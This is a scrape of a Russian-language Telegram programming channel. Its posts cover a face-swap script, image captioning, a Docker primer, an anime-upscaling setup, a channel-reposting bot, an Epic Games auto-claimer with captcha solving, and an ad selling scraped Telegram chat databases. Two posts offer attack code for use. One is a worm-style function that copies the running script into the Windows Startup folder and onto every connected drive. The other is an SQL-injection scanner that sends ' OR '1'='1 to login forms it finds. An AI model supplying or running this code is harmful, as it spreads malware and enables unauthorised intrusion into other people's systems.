import requests
import cv2
import os
from insightface.app import FaceAnalysis
from insightface.model_zoo import get_model
app = FaceAnalysis(name='buffalo_l')
app.prepare(ctx_id=0, det_size=(640, 640))
def download_model(url, model_path):
if not os.path.exists(model_path):
print(f"Загрузка модели с {url}...")
response = requests.get(url)
response.raise_for_status()
with open(model_path, 'wb') as file:
file.write(response.content)
print(f"Модель сохранена как {model_path}")
model_url = "https://huggingface.co/ezioruan/inswapper_128.onnx/resolve/main/inswapper_128.onnx?download=true"
model_path = "inswapper_128.onnx"
download_model(model_url, model_path)
swapper = get_model(model_path)
def swap_face_between_images(source_image_path, target_image_path, output_image_path):
source_img = cv2.imread(source_image_path)
if source_img is None:
print(f"Ошибка: Не удалось загрузить изображение-источник по пути: {source_image_path}")
return
target_img = cv2.imread(target_image_path)
if target_img is None:
print(f"Ошибка: Не удалось загрузить изображение-цель по пути: {target_image_path}")
return
print("Анализ лиц на изображении-источнике...")
source_faces = app.get(source_img)
if not source_faces:
print("Ошибка: Лица на изображении-источнике не найдены.")
return
source_face = source_faces[0]
print("Анализ лиц на изображении-цели...")
target_faces = app.get(target_img)
if not target_faces:
print("Ошибка: Лица на изображении-цели не найдены.")
return
target_face_to_replace = target_faces[0]
print("Выполнение замены лица...")
result_img = target_img.copy()
result_img = swapper.get(result_img, target_face_to_replace, source_face)
cv2.imwrite(output_image_path, result_img)
print(f"Изображение с замененным лицом сохранено как: {output_image_path}")
if __name__ == "__main__":
path_to_source_photo = 'rojers.jpg'
path_to_target_photo = 'stark.jpg'
output_filename = 'swapped_result.png'
if not os.path.exists(path_to_source_photo):
print(
f"Файл источника не найден: {path_to_source_photo}. Пожалуйста, создайте его или укажите правильный путь.")
elif not os.path.exists(path_to_target_photo):
print(f"Файл цели не найден: {path_to_target_photo}. Пожалуйста, создайте его или укажите правильный путь.")
else:
swap_face_between_images(path_to_source_photo, path_to_target_photo, output_filename)
requirements.txt:
opencv-python
onnxruntime
insightface
Чем лучше качество исходных фоток, тем лучше будет результат.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥31🥰8❤4👍4🕊2❤🔥1🤔1🤨1
from transformers import BlipProcessor, BlipForConditionalGeneration
import torch
from PIL import Image
processor = BlipProcessor.from_pretrained("Salesforce/blip-image-captioning-base")
model = BlipForConditionalGeneration.from_pretrained("Salesforce/blip-image-captioning-base")
image_path = "img_4.jpg"
image = Image.open(image_path)
inputs = processor(images=image, return_tensors="pt")
with torch.no_grad():
output = model.generate(**inputs)
description = processor.decode(output[0], skip_special_tokens=True)
print("Image description:", description)
requirements.txt:
transformers
torch
Pillow
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔16🔥6❤4👍4🍓2🤨1👀1💘1
Скачать можно тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥45👍9🔥6❤2👏1🤨1
Представьте, что ваше приложение – это сложный механизм, которому для работы нужны определенные детали и условия. Docker – это как универсальный контейнер для этого механизма. Вы упаковываете в него свое приложение со всеми его "деталями" (библиотеками, настройками), и оно будет работать одинаково везде: на вашем ноуте, у коллеги или на сервере в облаке.
1) "У меня работает!" – теперь это факт, а не отмазка. Если приложение работает в Docker-контейнере у вас, оно так же будет работать и у других. Конфликты окружений уходят в прошлое.
2) Изоляция. Каждое приложение живет в своем "домике"-контейнере, не мешая соседям. Можно запускать кучу всего на одной машине без головной боли.
3) Скорость и легкость. Запустить контейнер – дело секунд. Нужно больше мощности? Легко масштабируем, добавляя контейнеры. При этом они гораздо "легче" виртуальных машин, так как не тащат за собой целую операционку.
4) Простота для разработчиков. Быстро создаем, тестируем и не паримся о настройках окружения. Фокус на коде!
5) Воспроизводимость. Окружение в контейнере стабильно, что гарантирует одинаковую работу приложения сегодня и завтра.
1) Первым делом Docker нужно установить на ваш компьютер. Процесс немного отличается в зависимости от вашей операционной системы:
- Windows: Вам, скорее всего, понадобится Docker Desktop for Windows. Он использует WSL 2 (Windows Subsystem for Linux 2) для работы, так что убедитесь, что ваша система его поддерживает и он включен.
- macOS: Аналогично, есть Docker Desktop for Mac. Установка обычно довольно простая – скачиваете и устанавливаете, как обычное приложение.
- Linux: Тут вариантов больше. Обычно Docker Engine устанавливается через менеджер пакетов вашего дистрибутива (например, apt для Debian/Ubuntu или yum для Fedora/CentOS).
2) Разберем пару команд:
- запуск контейнера (нужно находиться в директории с проектом!)
docker run hello-world
- запуск веб-сервера Nginx, который будет доступен на 80 порту вашего компьютера:
docker run -d -p 80:80 nginx
- покажет уже запущенные контейнеры (на Windows и macOS также можно через интерфейс глянуть)
docker ps
- Начните с официальной документации Docker. Там есть отличные туториалы для новичков.
- Попробуйте запустить несколько готовых образов из Docker Hub (тот же nginx, redis, postgres или просто ubuntu, чтобы "поиграться" с командной строкой внутри контейнера).
- Не бойтесь экспериментировать! Контейнеры изолированы, так что сломать основную систему довольно сложно.
Надеюсь, рассказал что-то новое, длиннопост...
Please open Telegram to view this post
VIEW IN TELEGRAM
❤38👍13🔥6❤🔥1👏1🤨1💘1
Минутка саморекламы, не осуждайте.
🖥 Я пару дней парсил, парсил и на-парсил...
В общем, если кому-то интересно К ПОКУПКЕ, есть база РЕЛЕВАНТНЫХ:
- чатов, по всем странам ТГ-стата, разбитая на категории, гео, с количеством участников, ссылкой и названием. Буквально ВСЕ чаты ТГ-стата, где больше 200 людей - 61 тыс. записей;
- каналов, то же самое, точное количество - 315 тыс. записей, также все отфильтровано и разбито. Пишите через бота, если у кого-то есть желание приобрести.
В общем, если кому-то интересно К ПОКУПКЕ, есть база РЕЛЕВАНТНЫХ:
- чатов, по всем странам ТГ-стата, разбитая на категории, гео, с количеством участников, ссылкой и названием. Буквально ВСЕ чаты ТГ-стата, где больше 200 людей - 61 тыс. записей;
- каналов, то же самое, точное количество - 315 тыс. записей, также все отфильтровано и разбито. Пишите через бота, если у кого-то есть желание приобрести.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤17👍3🥰2🔥1🤨1
🥸 Простой код функции, если Вы хотите распространять свой запущенный скрипт на все носители, которые подключены/будут подключаться к ПК...
ef usbspreading():
# TODO:50 : Make this threaded.
bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
while True:
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print(drives)
for drive in drives:
if "C:\\" == drive:
copy2(__file__, bootfolder)
else:
copy2(__file__, drive)
time.sleep(3)
🔥29❤5👍5🥰2😁2🤨1
Скрипт для проверки ресурса на уязвимость к SQL-инъекции. Вайб-кодерам, которые пишут сайты - привет ;)
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
import requests
from bs4 import BeautifulSoup
import logging
# Настройка логирования
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
def find_login_forms(url):
"""
Ищет формы входа на указанном веб-сайте.
Args:
url (str): URL веб-сайта.
Returns:
list: Список URL-адресов форм входа.
"""
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
forms = soup.find_all('form')
login_forms = []
for form in forms:
if 'login' in str(form).lower() or 'sign' in str(form).lower():
action = form.get('action')
if action:
login_forms.append(action)
return login_forms
except Exception as e:
logger.error(f"Ошибка при поиске форм входа на {url}: {e}")
return []
def check_sql_injection(url):
"""
Проверяет уязвимость SQL-инъекции на указанном URL.
Args:
url (str): URL для проверки.
Returns:
bool: True если уязвимость обнаружена, иначе False.
"""
payload = "' OR '1'='1"
test_url = f"{url}?username={payload}&password={payload}"
try:
response = requests.get(test_url)
if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
logger.info(f"Возможная уязвимость SQL-инъекции на {url}")
return True
else:
logger.info(f"Уязвимость SQL-инъекции не обнаружена на {url}")
return False
except Exception as e:
logger.error(f"Ошибка при проверке SQL-инъекции на {url}: {e}")
return False
if __name__ == "__main__":
target_url = "http://example.com/login"
login_forms = find_login_forms(target_url)
for form_action in login_forms:
full_url = f"http://example.com{form_action}"
vulnerable = check_sql_injection(full_url)
print(f"URL: {full_url} | SQL Injection Vulnerable: {vulnerable}")
P.S. нормальные ресурсы имеют 100% защиту от такого уже последние 2-3 года.
🔥37👍6❤🔥4❤3🥰1👏1🤨1
Сегодня может дам Вам крутую игру на Pygame, которую не видели еще. Полноценный проект, даже поиграть можно будет.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥46👍13🔥6❤3🤨1
Cкачать код можно тут.
- Ввод-вывод данных;
- Условный оператор;
- Типы данных;
- Циклы for и while.
И, само собой, там будет гайд по установке Python, IDE. + мой софт для быстрой установки предложу скачать внутри бота... Работаю.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍42🥰8❤5🔥4🤨1🎅1
Эй, анимешники! 👋 Хочу поделиться просто бомбической находкой.
Если вы, как и я, любите смотреть старые (и не очень) тайтлы, но вам всегда не хватало сочной картинки, то это то, что доктор прописал. И не нужно ждать как с моим софтом - все делается в live (хоть и не так сочно и только на ПК).
Anime4K - это такая крутая штука с GitHub, набор алгоритмов, которые позволяют масштабировать аниме-видео до 4K в реальном времени! 🤯 Шарите? Не нужно ждать, пока файл перекодируется, не нужно забивать терабайты памяти — просто включаете видео, а Anime4K делает магию.
Если вы ещё не пробовали — очень советую заглянуть на GitHub и попробовать.
Касательно моих проектов для канала - стараюсь, но пока много работы (что славно, я не голодаю). Бот с курсом будет завтра, если я проснусь утром - то к обеду. Там будет не 4 модуля, а уже чуть больше. Скидывал другу на тест, говорит - удобно.
P.S. по железякам, люди пишут, что им хватало для комфортной работы 1070 и выше, или аналоги АМД. У меня на 2070S полет нормальный, с кайфом.
Если вы, как и я, любите смотреть старые (и не очень) тайтлы, но вам всегда не хватало сочной картинки, то это то, что доктор прописал. И не нужно ждать как с моим софтом - все делается в live (хоть и не так сочно и только на ПК).
Anime4K - это такая крутая штука с GitHub, набор алгоритмов, которые позволяют масштабировать аниме-видео до 4K в реальном времени! 🤯 Шарите? Не нужно ждать, пока файл перекодируется, не нужно забивать терабайты памяти — просто включаете видео, а Anime4K делает магию.
Если вы ещё не пробовали — очень советую заглянуть на GitHub и попробовать.
Касательно моих проектов для канала - стараюсь, но пока много работы (что славно, я не голодаю). Бот с курсом будет завтра, если я проснусь утром - то к обеду. Там будет не 4 модуля, а уже чуть больше. Скидывал другу на тест, говорит - удобно.
P.S. по железякам, люди пишут, что им хватало для комфортной работы 1070 и выше, или аналоги АМД. У меня на 2070S полет нормальный, с кайфом.
🔥45👍6❤4🥰2🤨1
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥71❤🔥5👍4❤2🥰1🤨1
anime4kMAGERKO.rar
84.7 MB
1) Устанавливаете плеер из архива - mpv.net-v7.1.1.0-setup.
2) Устанавливаете windowsdesktop-runtime-6.0.36-win-x64 из архива.
3) Нажимаете "Win" + "R", прописываете %appdata% в строке, жмете "Enter" или "Ок".
4) Откроется проводник, ищите там папку: "mpv.net".
5) Копируете в нее содержимое из моей папки "mpv.net", которая в архиве.
6) Запускаете плеер, открываете через него аниме, нажимаете "ctrl+1,2,3,4" - разные режимы апскейла будут. Убрать апскейл - "ctrl+0".
Please open Telegram to view this post
VIEW IN TELEGRAM
❤68👍10🔥6❤🔥3🥰2👏1😁1😱1
Полный код проекта, докер внутри для быстрого деплоя, все вам. Не дай Бог увижу на ГитХабе или еще где-то, выложенное без моего упоминания 😇
Этот бот идеально подойдет для агрегации новостей, создания тематических лент или просто для упрощения вашей работы с контентом в Telegram! (ИЛИ ЖЕ ВЫ МОЖЕТЕ НАГЛО ПИЗДИТЬ ЗАИМСТВОВАТЬ КОНТЕНТ У КОНКУРЕНТОВ )
🚀 Что умеет бот:
- 📝 Копирование контента: Забирает новости из одного или нескольких Telegram-каналов.
- 🎯 Целевой канал: Отправляет всё в указанный вами канал.
- 🔗 Гибкая настройка источников: Добавляйте каналы по ссылке, @username или ID, можно десятки источников!
- ⚙️ Удобный интерфейс: Управление всеми функциями через Telegram-бота с inline-кнопками.
- 🧐 Предмодерация (опционально): Хотите одобрять посты перед публикацией? Просто включите режим предмодерации!
- 🐍 Технологии: Написан на Python с использованием библиотек Telethon (для работы с Telegram API) и Aiogram 3 (для интерфейса бота).
- 🐳 Docker-ready: Проект легко развернуть с помощью Docker.
🖥 Скачать проект можно тут!
Этот бот идеально подойдет для агрегации новостей, создания тематических лент или просто для упрощения вашей работы с контентом в Telegram! (
- 📝 Копирование контента: Забирает новости из одного или нескольких Telegram-каналов.
- 🎯 Целевой канал: Отправляет всё в указанный вами канал.
- 🔗 Гибкая настройка источников: Добавляйте каналы по ссылке, @username или ID, можно десятки источников!
- ⚙️ Удобный интерфейс: Управление всеми функциями через Telegram-бота с inline-кнопками.
- 🧐 Предмодерация (опционально): Хотите одобрять посты перед публикацией? Просто включите режим предмодерации!
- 🐍 Технологии: Написан на Python с использованием библиотек Telethon (для работы с Telegram API) и Aiogram 3 (для интерфейса бота).
- 🐳 Docker-ready: Проект легко развернуть с помощью Docker.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥48👍12❤8❤🔥4🥰2😘1
import asyncio
from telegram import Bot
async def get_telegram_gifts(bot_token):
bot = Bot(token=bot_token)
gifts = await bot.get_available_gifts()
for gift in gifts.gifts:
print(f"ID подарка: {gift.id}, Эмодзи: {gift.sticker.emoji}, Размер файла стикера: {gift.sticker.file_size}, Стоимость: {gift.star_count}")
# Замените на токен бота!
bot_token = "ТОКЕН_АДМИН_КРАСАВЧИК"
asyncio.run(get_telegram_gifts(bot_token))
pip install python-telegram-bot
P.S. пост со старого канала, но видел в обсуждениях, кому-то нужно было.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍33❤10🔥6🥰3🙏1👌1💅1
Основные технологии:
- Python 🐍;
- Playwright для управления браузером 🌐;
- Asyncio для асинхронных операций ⚡️;
- Typer для удобного интерфейса командной строки (CLI) 💻;
- Docker для легкого запуска в контейнере 🐳;
- hCaptcha-challenger для решения капч 💪.
Этот проект помогает вам автоматически получать еженедельные бесплатные игры из Epic Games Store. 🚀 Раньше спотыкался об Claud Flare, теперь такого нет.
Скрипт использует автоматизацию браузера для входа в ваш аккаунт Epic Games, добавляет доступные бесплатные игры в корзину и "покупает" их. Он также проверяет вашу библиотеку, чтобы не добавлять уже имеющиеся игры. Если появляется капча (hCaptcha), он пытается ее решить.
Не теряем игры, аккаунт внукам. Скачать скрипт тут.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤47👍9🔥5🥰3❤🔥1😍1
🟣 Чистая архитектура: Код легко расширять, изменять и поддерживать благодаря использованию принципов чистой архитектуры.
🟣 Готовая система миграций Alembic: Упрощает управление изменениями в базе данных.
🟣 Поддержка PostgreSQL: Используется надежная и масштабируемая база данных.
🟣 RedisStorage: Бот сохраняет историю сообщений даже после перезапуска, обеспечивая непрерывность взаимодействия с пользователями.
🟣 aiogram-dialog: Удобный инструмент для описания пользовательского интерфейса и управления диалогами.
🤖 Язык программирования: Python 3.11+
📂 Модули: aiogram
🖥 База данных: PostgreSQL
Скачать сможете ТУТ.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤44👍11🙏6❤🔥4🥰2🔥1👾1
Большая шпаргалка с вопросами и ответами на русском для подготовки к собеседованию на Python разработчика
🖇 Cам РЕПОЗИТОРИЙ
Основные темы:
- Последовательности
- Множества и отображения
- Функции
- Итераторы и генераторы
- Классы и объекты
- Модули и пакеты
- Исключения
- Декораторы
- Метаклассы
- Ввод-вывод
- Тестирование
- Функциональное программирование
- GIL, потоки и процессы
- Веб-разработка
- Django и многое другое
P.S. скоро возобновляю стримы тут, если кому интересно смотреть как я играю - прошу. Общаюсь, отвечаю на вопросы, смотрю ваши проекты и даю советы, о которых не хочу говорить в ЛС.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤27👍7🥰3❤🔥2🔥1🙏1
Anonymous Poll
62%
38%
❤23🔥6👍5❤🔥2🥰1